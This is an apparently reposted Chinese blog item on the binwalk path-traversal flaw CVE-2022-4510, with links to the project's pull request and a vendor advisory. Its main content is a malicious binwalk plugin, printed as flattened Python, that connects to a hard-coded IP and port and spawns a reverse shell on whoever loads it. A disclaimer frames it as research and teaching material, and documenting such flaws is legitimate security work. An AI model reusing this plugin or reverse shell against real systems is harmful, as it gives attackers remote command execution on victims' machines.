https://github.com/ReFirmLabs/binwalk/pull/617
import binwalk.core.pluginimport socket,subprocess,os,ptyclass MaliciousExtractor(binwalk.core.plugin.Plugin):def init(self):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.132.131",9999))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)pty.spawn("sh")
https://github.com/ReFirmLabs/binwalk/pull/617https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/
原文始发于微信公众号（陈冠男的游戏人生）：binwalk路径穿越CVE-2022-4510
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论